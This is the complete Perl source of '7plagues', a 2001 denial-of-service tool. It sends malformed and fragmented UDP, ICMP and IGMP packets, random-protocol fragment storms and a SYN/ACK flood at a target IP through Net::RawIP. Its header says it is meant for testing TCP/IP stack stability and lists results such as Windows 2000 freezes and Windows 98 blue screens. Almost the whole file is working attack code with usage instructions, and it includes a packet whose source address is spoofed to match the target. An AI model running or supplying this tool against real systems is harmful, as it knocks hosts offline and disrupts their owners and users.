#!/usr/bin/perl -w

###############################################################################
#                                                                             #
# 7plagues, by 51 (May 2001)                                                  #
#                                                                             #
# Threaded (or forked when threads not available) 7-headed Denial of Service, #
# which should be used to test/audit the TCP/IP stack stability on your       #
# different Operating Systems, under extreme network conditions.              #
#                                                                             #
# The seven different DoS implemented there (1 over udp, 2 over icmp, 2 over  #
# igmp, 1 over tcp and 1 using random protocol numbers) exploit some known    #
# bugs of various networking proto stacks. Some parts of this code are        #
# inspired from existing C implementations (jolt2, trash2, etc...).           #
#                                                                             #
# I used Perl rather than C for the implementation easeness of  this straight #
# language, but I eventually figured out that I hadn't lost much in speed     #
# and efficiency at run time (not to say I hadn't lost anything, heh).        #
#                                                                             #
# The tests I've been able to perform (an old PII 350 with a 10 Mb ethernet   #
# card flooding a Duron 700 with 256 MB of Ram and a 3Com 10/100 Mb card)     #
# gave the following results :                                                #
# w2k : freezes when unleashing udp or icmp plagues, lags with igmp           #
# w98 : blue screen of death upon igmp                                        #
# linux : old kernels are exhausted under the tcp flood                       #
# I'll appreciate any report in various testing conditions :o)                #
#                                                                             #
# Requirements :                                                              #
# Net::RawIP by Sergey Kolychev - http://quake.skif.net/RawIP/                #
#                                                                             #
# Shouts go to Gluck, full time Perl Guru :)                                  #
# Greetz to the CyberArmy higher ups. Visit us at  www.cyberarmy.com, or on   #
# irc: irc.cyberarmy.com chan #cyberarmy, coolest guys in #void and #unixgods.#
#                                                                             #
# 51 (void *)                                                                 #
# mail: kernel51@libertysurf.fr                                               #
#                                                                             #
# I am not a numero...                                                        #
#                                                                             #
###############################################################################



use strict;
use Config;
use Net::RawIP;

# Array of pointers on the selected plagues
my @plagues;

# Array of the selected protocol names
my @protos;

# Target IP
my $sinner = $ARGV[0];

# Different types of DoS are available...
my $sin = $ARGV[1];

# Number of hits (optional)
my $repant = $ARGV[2];

my $argsnum = @ARGV;

print "\n7plagues.pl by 51\n\n";

if ($argsnum < 2 || $argsnum > 3) {
  &usage();
  exit;
}

if ($argsnum == 2) {
  $repant = -1;
}

$_ = $sin;

# Guru line to retrieve the specified protocols :)
@protos = /(\w+)/g;

# flag to be risen upon a valid protocol
my $flag = 0;
my $i;

for($i = 0; $i < @protos; $i++) {
  if($protos[$i] eq "udp") {
    push(@plagues,\&seaOfBlood);
    $flag = 1;
  }
  if($protos[$i] eq "icmp") {
    push(@plagues,\&riversOfBlood);
    push(@plagues,\&scorchingFire);
    $flag = 1;
  }
  if($protos[$i] eq "igmp") {
    push(@plagues,\&kingdomOfDarkness);
    push(@plagues,\&markOfTheBeast);
    $flag = 1;
  }
  if($protos[$i] eq "tcp") {
    push(@plagues,\&armageddon);
    $flag = 1;
  }
  if($protos[$i] eq "misc") {
    push(@plagues,\&greatVoice);
    $flag = 1;
  }
}

if(!$flag) {
  print "No valid proto specified\n";
  &usage();
  exit;
}

print "Revelation 15:1\n";
print "And I saw another sign in Heaven, great and marvelous, ";
print "seven angels having the seven last plagues; ";
print "for in them is filled up the wrath of God.\n\n";
print "Bringing up Apocalyptical network conditions (ph33r)...\n";

if ($Config{usethreads}) {
  require Threads;
  my $thr;
  for($i = 0; $i < @plagues; $i++) {
    $thr = new Thread $plagues[$i], $sinner, $repant;
  }
}
else {
  &spawnhell(0);
}

sub usage {
  print "Usage: ./7plagues.pl target_ip Proto [hits]\n";
  print "Choose Proto among udp, icmp, igmp, tcp or misc.\n";
  print "More than one can be specified, in which case the DoS will be ";
  print "threaded (and might lose in efficiency on slower systems).\n";
  print "Example: ./7plagues.pl 192.168.0.1 udp,icmp,igmp\n\n";  
}



# Nice piece of code to simulate the use of threads with fork() calls
# Requires an array of pointers on the functions to be threaded (@plagues)

sub spawnhell {
  my $indice = $_[0];
  my $pid;
  
  if($pid = fork) {
    &{$plagues[$indice]}($sinner, $repant);
    waitpid($pid,0);
  }
  else {
    die "cannot fork: $!" unless defined $pid; 
    if($indice < @plagues - 1) {
      &spawnhell($indice+1);
    }
    exit;
  }
}



# icmp fragmentation bug

sub riversOfBlood {
  my($packet, $target_address, $hits, $i);
  $target_address = $_[0];
  $hits = $_[1];
  $packet = new Net::RawIP({
			    ip   => {
				     saddr => $target_address,
				     daddr => $target_address,
				     id => 0x455,
				     ttl => 255,
				     tos => 0,
				     frag_off => 8190
				    },
			    icmp => {
				     code => 0,
				     type => 8,
				     check => 0,
				     data => chr(0)
				    }
			   });

  for($i=0; $i != $hits; $i++) {
    $packet->send;	 
  }
  print "\n";
}



# udp fragmentation bug. Very effective on w2k boxes.

sub seaOfBlood {
  my($packet, $target_address, $port, $hits, $i);
  $target_address = $_[0];
  $port = 179;
  $hits = $_[1];
  $packet = new Net::RawIP({
			    ip   => {
				     daddr => $target_address,
				     id => 0x455,
				     ttl => 255,
				     tos => 0,
				     frag_off => 8190
				    },
			    udp  => {
				     source => 1235,
				     dest => $port,
				     len => 9,
				     data => chr(0)
				    }
			   });

  for($i=0; $i != $hits; $i++) {
    $packet->send;	 
  }
  print "\n";
}



# igmp bug causing bsod under w98

sub markOfTheBeast {
  my($packet, $data, $target_address, $hits, $i, $j);
  $target_address = $_[0];
  $hits = $_[1];
  $data = chr(0) x 1480;
  $packet = new Net::RawIP({
			    ip => {
				   daddr => $target_address,
				   ttl => 255,
				   id =>  int(rand(40000)) + 500,
				   frag_off => 0x2000,
				   protocol => 2,
				   tos => 0
				  },
			    generic => {
					data => $data
				       }
			   });

  for($i=0; $i != $hits; $i++) {
    $packet->send;
    for($j=1;$j<5;$j++) {
      if($j>3) {$packet->set({ip => {frag_off => (1480 * $j  >> 3)}});}
      else {$packet->set({ip => {frag_off => (1480 * $j >> 3)|0x2000}});}
      $packet->send;
    }
    $packet->set({ip => {frag_off => 0x2000}});	 
  }
  print "\n";
}



# Buggy icmp sequence causing w2k machines to lag awfuly (brrr)

sub scorchingFire {
  my($packet, $target_address, $hits, $i, $frag);
  $target_address = $_[0];
  $hits = $_[1];
  $packet = new Net::RawIP({
			    ip => {
				   daddr => $target_address,
				   ttl => 30,
				   id =>  1234,
				   frag_off => 0x2000,
				   tos => 0
				  },
			    icmp => {
				     type => int(rand(15)),
				     code => int(rand(15)),
				     data => '0'
				    }
			   });

  for($i=0; $i != $hits; $i++) {
    $packet->send;
    $frag = 8 >> 3;
    $frag |= 0x2000;
    $packet->set({
		  ip => {
			 frag_off => $frag
			},
		  icmp => {
			   type => int(rand(15)),
			   code => int(rand(15)),
			   check => 0,
			   data => '0' x 8
			  }
		 });
    $packet->send;	 
  }
  print "\n";
}



# Various buggy igmp packets sequence

sub kingdomOfDarkness {
  my($packet, $data, $target_address, $hits, $i, $frag);
  $target_address = $_[0];
  $hits = $_[1];
  $data = chr(8);
  $data .= chr(0);
  $data .= chr(0) x 6;
  $data .= chr(0);
  $packet = new Net::RawIP({
			    ip => {
				   daddr => $target_address,
				   ttl => 255,
				   id =>  34717,
				   frag_off => 0x2000,
				   protocol => 2,
				   tos => 0
				  },
			    generic => {
					data => $data
				       }
			   });

  for($i=0; $i != $hits; $i++) {
    $packet->send;
    $frag = 8 >> 3;
    $frag |= 0x2000;
    $packet->set({
		  ip => {
			 frag_off => $frag
			}
		 });	
    $packet->send;
    $data = chr(0) x 16;
    $packet->set({
		  generic => {
			      data => $data
			     }
		 });
    $packet->send;
    $frag = 0x2000;
    $data = chr(2);
    $data .= chr(int(rand(255)));
    $data .= chr(0) x 7;
    $packet->set({
		  ip => {
			 frag_off => $frag
			},
		  generic => {
			      data => $data
			     }
		 });
    $packet->send;
    $frag = 8 >> 3;
    $frag |= 0x2000;
    $packet->set({
		  ip => {
			 frag_off => $frag
			}
		 });
    $packet->send;
    $frag = 0x2000;
    $data = chr(int(rand(255)));
    $data .= chr(int(rand(255)));
    $data .= chr(0) x 7;
    $packet->set({
		  ip => {
			 frag_off => $frag
			},
		  generic => {
			      data => $data
			     }
		 });
    $packet->send;
    $frag = 8 >> 3;
    $frag |= 0x2000;
    $packet->set({
		  ip => {
			 frag_off => $frag
			}
		 });
    $packet->send;
    $frag = 0x2000;
    $data = chr(8);
    $data .= chr(0) x 8;
    $packet->set({
		  ip => {
			 frag_off => $frag
			},
		  generic => {
			      data => $data
			     }
		 });
  }
  print "\n";
}



# Storm of random protocol packets with specific frag offsets and flags
# targa3 style...

sub greatVoice {
  my($packet, $target_address, $hits, $i);
  my(@protos, @frags, $proto, $frag);
  $target_address = $_[0];
  $hits = $_[1];
  @protos = (0,1,2,4,6,8,12,17,22,41,58,255,0);
  @frags = (0,0,0,0x2000,8192,0x4,0x6,16383,1,8190);
  $packet = new Net::RawIP({
			    ip   => {
				     daddr => $target_address,
				     ttl => 255,
				     tos => 0
				    }
			   });

  for($i=0; $i != $hits; $i++) {
    $proto = $protos[int(rand(@protos))];
    $frag = $frags[int(rand(@frags))];
    $packet->set({
		  ip => {
			 protocol => $proto,
			 frag_off => $frag
			}
		 });
    $packet->send; 
  }
  print "\n";
}



# 1024 SYN for 1 ACK... supposed to hang some older Linux kernels

sub armageddon {
  my($packet, $target_address, $port, $hits, $i);
  $target_address = $_[0];
  $port = 139;
  $hits = $_[1];
  $hits *= 1024;
  $packet = new Net::RawIP({
			    ip   => {
				     daddr => $target_address,
				     ttl => 255,
				     tos => 0x08 ,
				     frag_off => 0,
				     id => int(rand(65536))
				    },
			    tcp  => {
				     window => 16384,
				     ack => 0,
				     doff => 5,
				     urg => 0,
				     dest => $port,
				     data => chr(0)
				    }
			   });
  for($i=0; $i != $hits; ++$i) {
    if( !($i&0x3FF) ) {
      $packet->set({
		    tcp  => {
			     ack => 0,
			     syn => 1,
			     ack_seq => 0
			    }
		   });
    }
    else {
      $packet->set({
		    tcp  => {
			     syn => 0,
			     ack => 1,
			     ack_seq => int(rand(65536))
			    }
		   });
    }
    $packet->send;
  }
  print "\n";
}

